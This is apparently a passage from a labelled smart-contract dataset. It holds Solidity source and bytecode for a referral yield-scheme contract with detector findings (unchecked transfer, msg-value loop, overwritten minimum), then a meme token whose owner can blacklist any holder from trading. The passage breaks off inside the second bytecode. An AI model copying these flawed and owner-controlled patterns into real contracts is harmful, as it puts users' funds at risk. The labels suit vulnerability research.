users[userAddress].bonus; } function getUserReferralTotalBonus(address userAddress) public view returns(uint256) { return users[userAddress].totalBonus; } function getUserReferralWithdrawn(address userAddress) public view returns(uint256) { return users[userAddress].totalBonus.sub(users[userAddress].bonus); } function getUserAvailable(address userAddress) public view returns(uint256) { return getUserReferralBonus(userAddress).add(getUserDividends(userAddress)); } function getUserAmountOfDeposits(address userAddress) public view returns(uint256) { return users[userAddress].deposits.length; } function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) { for (uint256 i = 0; i < users[userAddress].deposits.length; i++) { amount = amount.add(users[userAddress].deposits[i].amount); } } function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 start, uint256 finish) { User storage user = users[userAddress]; plan = user.deposits[index].plan; percent = plans[plan].percent; amount = user.deposits[index].amount; start = user.deposits[index].start; finish = user.deposits[index].start.add(plans[user.deposits[index].plan].time.mul(TIME_STEP)); } function getSiteInfo() public view returns(uint256 _totalInvested, uint256 _totalRef, uint256 _totalBonus) { return(totalInvested, totalInvested.mul(TOTAL_REF).div(PERCENTS_DIVIDER),totalBonus); } function getUserInfo(address userAddress) public view returns(uint256 totalDeposit, uint256 totalWithdrawn, uint256 totalReferrals) { return(getUserTotalDeposits(userAddress), getUserTotalWithdrawn(userAddress), getUserTotalReferrals(userAddress)); } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } //config function setMinMax(uint256 minAmount, uint256 maxAmount,uint256 minBonus, uint256 maxBonus) external { require(msg.sender == ceoWallet, "only owner"); INVEST_MIN_AMOUNT = minAmount; INVEST_MIN_AMOUNT = maxAmount; BONUS_MIN_AMOUNT = minBonus; BONUS_MAX_AMOUNT = maxBonus; } function setBonusStatus(bool status) external { require(msg.sender == ceoWallet, "only owner"); bonusStatus = status; } function withdrawTokens(address tokenAddr, address to) external { require(msg.sender == ceoWallet, "only owner"); IERC20 token = IERC20(tokenAddr); token.transfer(to,token.balanceOf(address(this))); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } }
0x6080604052600436106102465760003560e01c8063600d20ce11610139578063a8dd07dc116100b6578063cd23b4411161007a578063cd23b44114610807578063d7ffca911461081c578063e262113e1461084f578063e85abe0914610864578063fb4cb32b14610897578063fbfcb279146108ca57610246565b8063a8dd07dc1461071a578063aecaa6341461072f578063b668ac4b14610462578063c0806b0314610775578063c43a1808146107dd57610246565b80637e3abeea116100fd5780637e3abeea146106385780638ea5220f1461066b578063a0aafaa714610680578063a522ad25146106ac578063a8aeb6c2146106e757610246565b8063600d20ce1461057e5780636386c1c7146105a85780636bb18556146105db5780636f9fb98a1461060e5780637d8cb7a21461062357610246565b8063389cabee116101c75780634a64e8671161018b5780634a64e867146104bf5780634bc4e085146104f25780634ce87053146105075780635216aeec1461053a578063581c5ae61461054f57610246565b8063389cabee146104385780633ccfd60b1461044d578063436a88c11461046257806348c372031461047757806348d44bd1146104aa57610246565b8063153ab9df1161020e578063153ab9df1461033a57806329420b741461036d57806332050fa51461039657806332bc298c146103d457806336144c9a146103e957610246565b806301c234a81461024b57806303a93c0c14610272578063040a772e146102dd5780630b97bc86146103105780630c188d1314610325575b600080fd5b34801561025757600080fd5b506102606108fd565b60408051918252519081900360200190f35b34801561027e57600080fd5b506102a56004803603602081101561029557600080fd5b50356001600160a01b0316610903565b6040518082606080838360005b838110156102ca5781810151838201526020016102b2565b5050505090500191505060405180910390f35b3480156102e957600080fd5b506102606004803603602081101561030057600080fd5b50356001600160a01b031661095a565b34801561031c57600080fd5b50610260610c28565b34801561033157600080fd5b50610260610c2e565b34801561034657600080fd5b506102606004803603602081101561035d57600080fd5b50356001600160a01b0316610c34565b34801561037957600080fd5b50610382610c5d565b604080519115158252519081900360200190f35b3480156103a257600080fd5b506103d2600480360360808110156103b957600080fd5b5080359060208101359060408101359060600135610c66565b005b3480156103e057600080fd5b50610260610cc1565b3480156103f557600080fd5b5061041c6004803603602081101561040c57600080fd5b50356001600160a01b0316610cc8565b604080516001600160a01b039092168252519081900360200190f35b34801561044457600080fd5b5061041c610ce9565b34801561045957600080fd5b506103d2610cf8565b34801561046e57600080fd5b50610260610e3a565b34801561048357600080fd5b506102606004803603602081101561049a57600080fd5b50356001600160a01b0316610e3f565b3480156104b657600080fd5b50610260610e5d565b3480156104cb57600080fd5b50610260600480360360208110156104e257600080fd5b50356001600160a01b0316610e62565b3480156104fe57600080fd5b50610260610eea565b34801561051357600080fd5b5061051c610eef565b60408051938452602084019290925282820152519081900360600190f35b34801561054657600080fd5b50610260610f1e565b6103d26004803603604081101561056557600080fd5b5080356001600160a01b0316906020013560ff16610f24565b34801561058a57600080fd5b50610260600480360360208110156105a157600080fd5b503561176e565b3480156105b457600080fd5b5061051c600480360360208110156105cb57600080fd5b50356001600160a01b031661178c565b3480156105e757600080fd5b50610260600480360360208110156105fe57600080fd5b50356001600160a01b03166117b9565b34801561061a57600080fd5b506102606117eb565b34801561062f57600080fd5b506102606117f0565b34801561064457600080fd5b506102606004803603602081101561065b57600080fd5b50356001600160a01b03166117f6565b34801561067757600080fd5b5061041c61186e565b34801561068c57600080fd5b506103d2600480360360208110156106a357600080fd5b5035151561187d565b3480156106b857600080fd5b506103d2600480360360408110156106cf57600080fd5b506001600160a01b03813581169160200135166118dc565b3480156106f357600080fd5b506102606004803603602081101561070a57600080fd5b50356001600160a01b0316611a1f565b34801561072657600080fd5b50610260611a3a565b34801561073b57600080fd5b5061075c6004803603602081101561075257600080fd5b503560ff16611a40565b6040805192835260208301919091528051918290030190f35b34801561078157600080fd5b506107ae6004803603604081101561079857600080fd5b506001600160a01b038135169060200135611a90565b6040805160ff909616865260208601949094528484019290925260608401526080830152519081900360a00190f35b3480156107e957600080fd5b506102606004803603602081101561080057600080fd5b5035611b76565b34801561081357600080fd5b50610260611b83565b34801561082857600080fd5b506102606004803603602081101561083f57600080fd5b50356001600160a01b0316611b89565b34801561085b57600080fd5b50610260611ba7565b34801561087057600080fd5b506102606004803603602081101561088757600080fd5b50356001600160a01b0316611bad565b3480156108a357600080fd5b50610260600480360360208110156108ba57600080fd5b50356001600160a01b0316611bcb565b3480156108d657600080fd5b50610260600480360360208110156108ed57600080fd5b50356001600160a01b0316611be9565b6103e881565b61090b611d98565b6001600160a01b0382166000908152600a60205260409081902081516060810192839052916003918201919082845b81548152602001906001019080831161093a57505050505090505b919050565b6001600160a01b0381166000908152600a6020526040812081805b8254811015610c20576000610a086109d962015180600987600001868154811061099b57fe5b6000918252602090912060039091020154815460ff9091169081106109bc57fe5b60009182526020909120600290910201549063ffffffff611c1716565b8560000184815481106109e857fe5b906000526020600020906003020160020154611c7790919063ffffffff16565b90508084600101541015610c17576000610aa06103e8610a946009886000018781548110610a3257fe5b6000918252602090912060039091020154815460ff909116908110610a5357fe5b906000526020600020906002020160010154886000018781548110610a7457fe5b906000526020600020906003020160010154611c1790919063ffffffff16565b9063ffffffff611cd116565b905060008560010154866000018581548110610ab857fe5b90600052602060002090600302016002015411610ad9578560010154610afb565b856000018481548110610ae857fe5b9060005260206000209060030201600201545b90506000428410610b0c5742610b0e565b835b905080821015610bb057610b4f610b4262015180610a94610b35858763ffffffff611d3b16565b879063ffffffff611c1716565b879063ffffffff611c7716565b95506000610b6a62015180610a94848663ffffffff611d3b16565b90508015610bae57610bab610b9e6103e8610a94610b8f600a8663ffffffff611c1716565b8c6000018b81548110610a7457fe5b889063ffffffff611c7716565b96505b505b428411610c1357336000908152600b6020908152604080832088845290915290205415610c1357336000908152600b602090815260408083208884529091529020548754610c1091610b42916103e891610a94918c908b908110610a7457fe5b95505b5050505b50600101610975565b509392505050565b600c5481565b60075481565b6000610c57610c428361095a565b610c4b84611bad565b9063ffffffff611c7716565b92915050565b60085460ff1681565b600d546001600160a01b03163314610cb2576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b60049290925560065560075550565b6201518081565b6001600160a01b039081166000908152600a60205260409020600201541690565b600d546001600160a01b031681565b336000818152600a6020526040812091610d119061095a565b90506000610d1e33611bad565b90508015610d405760006006840155610d3d828263ffffffff611c7716565b91505b60008211610d8d576040805162461bcd60e51b81526020600482015260156024820152745573657220686173206e6f206469766964656e647360581b604482015290519081900360640190fd5b303182811015610db057610da7838263ffffffff611d3b16565b60068501559150815b4260018501556008840154610dcb908463ffffffff611c7716565b6008850155604051339084156108fc029085906000818181858888f19350505050158015610dfd573d6000803e3d6000fd5b5060408051848152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250505050565b600a81565b6001600160a01b03166000908152600a602052604090206007015490565b605a81565b6001600160a01b0381166000908152600a60205260408120600181015415610eda576001810154600090421115610ed1576000610eb362015180610a94856001015442611d3b90919063ffffffff16565b90508015610ecf57610ecc81600a63ffffffff611c1716565b91505b505b91506109559050565b6000915050610955565b50919050565b607881565b60025460009081908190610f106103e8610a9483607863ffffffff611c1716565b600354925092509250909192565b60025481565b600c544211610f7a576040805162461bcd60e51b815260206004820152601c60248201527f636f6e747261637420646f6573206e6f74206c61756e63682079657400000000604482015290519081900360640190fd5b600454341015610fbd576040805162461bcd60e51b815260206004820152600960248201526832b93937b91036b4b760b91b604482015290519081900360640190fd5b600554341115611000576040805162461bcd60e51b81526020600482015260096024820152680cae4e4dee440dac2f60bb1b604482015290519081900360640190fd5b60048160ff1610611047576040805162461bcd60e51b815260206004820152600c60248201526b24b73b30b634b210383630b760a11b604482015290519081900360640190fd5b60006110606103e8610a9434605a63ffffffff611c1716565b9050600061107b6103e8610a9434600a63ffffffff611c1716565b600d546040519192506001600160a01b03169083156108fc029084906000818181858888f193505050501580156110b6573d6000803e3d6000fd5b50600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110f1573d6000803e3d6000fd5b50337f2899dc8c12def1caa9accb64257cf2fd9f960f21bb27a560a757eae3c2ec43c1611124848463ffffffff611c7716565b60408051918252519081900360200190a2336000908152600a6020526040902060028101546001600160a01b03166112a1576001600160a01b0385166000908152600a60205260409020541580159061118657506001600160a01b0385163314155b156111ad576002810180546001600160a01b0319166001600160a01b0387161790556111d2565b600d546002820180546001600160a01b0319166001600160a01b039092169190911790555b60028101546001600160a01b031660005b600381101561129e576001600160a01b03821615611291576112416001600a6000856001600160a01b03166001600160a01b03168152602001908152602001600020600301836003811061123357fe5b01549063ffffffff611c7716565b6001600160a01b0383166000908152600a602052604090206003908101908390811061126957fe5b01556001600160a01b039182166000908152600a602052604090206002015490911690611296565b61129e565b6001016111e3565b50505b60028101546001600160a01b0316156114035760028101546001600160a01b031660005b6003811015611400576001600160a01b038216156113f357600061130f6103e8610a94600085815481106112f557fe5b906000526020600020015434611c1790919063ffffffff16565b6001600160a01b0384166000908152600a602052604090206006015490915061133e908263ffffffff611c7716565b6001600160a01b0384166000908152600a60205260409020600681019190915560070154611372908263ffffffff611c7716565b6001600160a01b0384166000818152600a6020908152604091829020600701939093558051848152905185933393927fd41f7e766eebcc7ff42b11ac8691bdf864db4afc0c55e71d629d54edce460d98929081900390910190a4506001600160a01b039182166000908152600a6020526040902060020154909116906113f8565b611400565b6001016112c5565b50505b8054611443574260018201556040805133815290517f9fd565cd14c3c391679eb0cad12a14dcf7534e9d3462bcb9b67a098a9bbbc24a9181900360200190a15b6040805160608101825260ff86811682523460208084018281524295850195865286546001808201895560008981529390932095516003909102909501805460ff191695909416949094178355925192820192909255915160029283015590546114ac91611c77565b6002556040805160ff861681523460208201524281830152905133917f5998f12fe9332603ffeda0abbc2ea68418dfad46909149aa0f4fcbd1d8f7c620919081900360600190a260085460ff161561176757805460021180159061151257508054600510155b156117675760008160000160008154811061152957fe5b9060005260206000209060030201600101549050600654811015801561155157506007548111155b156117655781546000908390600119810190811061156b57fe5b600091825260209091206001600390920201015483549091506002141561162057348114156115cf5760016000815481106115a257fe5b6000918252602080832090910154338352600b82526040808420875460001901855290925291205561161b565b80341180156115e057506007543411155b1561161b57600180815481106115f257fe5b6000918252602080832090910154338352600b8252604080842087546000190185529092529120555b611715565b82546003141561166457348114156116405760016000815481106115a257fe5b803411801561165157506007543411155b1561161b5760016002815481106115f257fe5b8254600414156116a857348114156116845760016000815481106115a257fe5b803411801561169557506007543411155b1561161b5760016003815481106115f257fe5b82546005141561171557348114156116c85760016000815481106115f257fe5b80341180156116d957506007543411155b156117155760016004815481106116ec57fe5b6000918252602080832090910154338352600b8252604080842087546000190185529092529120555b336000908152600b60209081526040808320865460001901845290915290205461176090611751906103e890610a94903463ffffffff611c1716565b6003549063ffffffff611c7716565b600355505b505b5050505050565b6000818154811061177b57fe5b600091825260209091200154905081565b600080600061179a846117f6565b6117a385611bcb565b6117ac86611be9565b9250925092509193909250565b6001600160a01b0381166000908152600a602052604081206006810154600790910154610c579163ffffffff611d3b16565b303190565b60055481565b6000805b6001600160a01b0383166000908152600a6020526040902054811015610ee4576001600160a01b0383166000908152600a60205260409020805461186491908390811061184357fe5b90600052602060002090600302016001015483611c7790919063ffffffff16565b91506001016117fa565b600e546001600160a01b031681565b600d546001600160a01b031633146118c9576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b6008805460ff1916911515919091179055565b600d546001600160a01b03163314611928576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b604080516370a0823160e01b8152306004820152905183916001600160a01b0383169163a9059cbb91859184916370a08231916024808301926020929190829003018186803b15801561197a57600080fd5b505afa15801561198e573d6000803e3d6000fd5b505050506040513d60208110156119a457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156119f557600080fd5b505af1158015611a09573d6000803e3d6000fd5b505050506040513d602081101561176757600080fd5b6001600160a01b03166000908152600a602052604090205490565b60035481565b60008060098360ff1681548110611a5357fe5b906000526020600020906002020160000154915060098360ff1681548110611a7757fe5b9060005260206000209060020201600101549050915091565b6001600160a01b0382166000908152600a6020526040812080548291829182918291819088908110611abe57fe5b60009182526020909120600390910201546009805460ff90921697509087908110611ae557fe5b9060005260206000209060020201600101549450806000018781548110611b0857fe5b9060005260206000209060030201600101549350806000018781548110611b2b57fe5b9060005260206000209060030201600201549250611b69611b5a620151806009846000018b8154811061099b57fe5b8260000189815481106109e857fe5b9150509295509295909350565b6001818154811061177b57fe5b60065481565b6001600160a01b03166000908152600a602052604090206001015490565b60045481565b6001600160a01b03166000908152600a602052604090206006015490565b6001600160a01b03166000908152600a602052604090206008015490565b6001600160a01b03166000908152600a60205260409020600581015460048201546003909201549091010190565b600082611c2657506000610c57565b82820282848281611c3357fe5b0414611c705760405162461bcd60e51b8152600401808060200182810382526021815260200180611db76021913960400191505060405180910390fd5b9392505050565b600082820183811015611c70576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000808211611d27576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b6000828481611d3257fe5b04949350505050565b600082821115611d92576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6040518060600160405280600390602082028038833950919291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723058203cb94862f62ee8edcebe971f9fe9798daab29d4c9968df5dc35d09db11fbcbfd64736f6c634300050a0032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,709
0x776fab07e7d8792c7ab52bfb23d0b9c8c481cd3f
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ /* Geass is a supernatural ability which certain people can bestow upon others. This power is usually called the Power of Kings. According to an English edition of "Newtype", the power of Geass has something to do with the very existence of humankind, and it may be used to destroy, control, or transform just about anything. The power of Geass increases with use, and should the user lack the willpower, they may be consumed by it. Lelouch states that the Geass is a form of wish. However, people who have Geass are not immune to the Geass effects of others. The Geass is represented by a glowing, bird-shaped symbol. https://codegeassinu.club/ https://t.me/codegeassinu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract GEASS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 2e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "CODE GEASS INU"; string private constant _symbol = "GEASS"; uint private constant _decimals = 9; uint256 private _teamFee = 11; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(4); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (1 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f7578063cf0848f71461040c578063cf9d4afa1461042c578063dd62ed3e1461044c578063e6ec64ec14610492578063f2fde38b146104b257600080fd5b8063715018a61461032c5780638da5cb5b1461034157806390d49b9d1461036957806395d89b4114610389578063a9059cbb146103b7578063b515566a146103d757600080fd5b806331c2d8471161010857806331c2d847146102455780633bbac57914610265578063437823ec1461029e578063476343ee146102be5780635342acb4146102d357806370a082311461030c57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bb57806318160ddd146101eb57806323b872dd14610211578063313ce5671461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d2565b005b34801561017e57600080fd5b5060408051808201909152600e81526d434f444520474541535320494e5560901b60208201525b6040516101b2919061194a565b60405180910390f35b3480156101c757600080fd5b506101db6101d63660046119c4565b61051e565b60405190151581526020016101b2565b3480156101f757600080fd5b506801158e460913d000005b6040519081526020016101b2565b34801561021d57600080fd5b506101db61022c3660046119f0565b610535565b34801561023d57600080fd5b506009610203565b34801561025157600080fd5b50610170610260366004611a47565b61059e565b34801561027157600080fd5b506101db610280366004611b0c565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102aa57600080fd5b506101706102b9366004611b0c565b610634565b3480156102ca57600080fd5b50610170610682565b3480156102df57600080fd5b506101db6102ee366004611b0c565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031857600080fd5b50610203610327366004611b0c565b6106bc565b34801561033857600080fd5b506101706106de565b34801561034d57600080fd5b506000546040516001600160a01b0390911681526020016101b2565b34801561037557600080fd5b50610170610384366004611b0c565b610714565b34801561039557600080fd5b50604080518082019091526005815264474541535360d81b60208201526101a5565b3480156103c357600080fd5b506101db6103d23660046119c4565b61078e565b3480156103e357600080fd5b506101706103f2366004611a47565b61079b565b34801561040357600080fd5b506101706108b4565b34801561041857600080fd5b50610170610427366004611b0c565b61096b565b34801561043857600080fd5b50610170610447366004611b0c565b6109b6565b34801561045857600080fd5b50610203610467366004611b29565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101706104ad366004611b62565b610c11565b3480156104be57600080fd5b506101706104cd366004611b0c565b610c87565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016104fc90611b7b565b60405180910390fd5b6000610510306106bc565b905061051b81610d1f565b50565b600061052b338484610e99565b5060015b92915050565b6000610542848484610fbd565b610594843361058f85604051806060016040528060288152602001611cf4602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113fe565b610e99565b5060019392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b81526004016104fc90611b7b565b60005b8151811015610630576000600560008484815181106105ec576105ec611bb0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611bdc565b9150506105cb565b5050565b6000546001600160a01b0316331461065e576040516246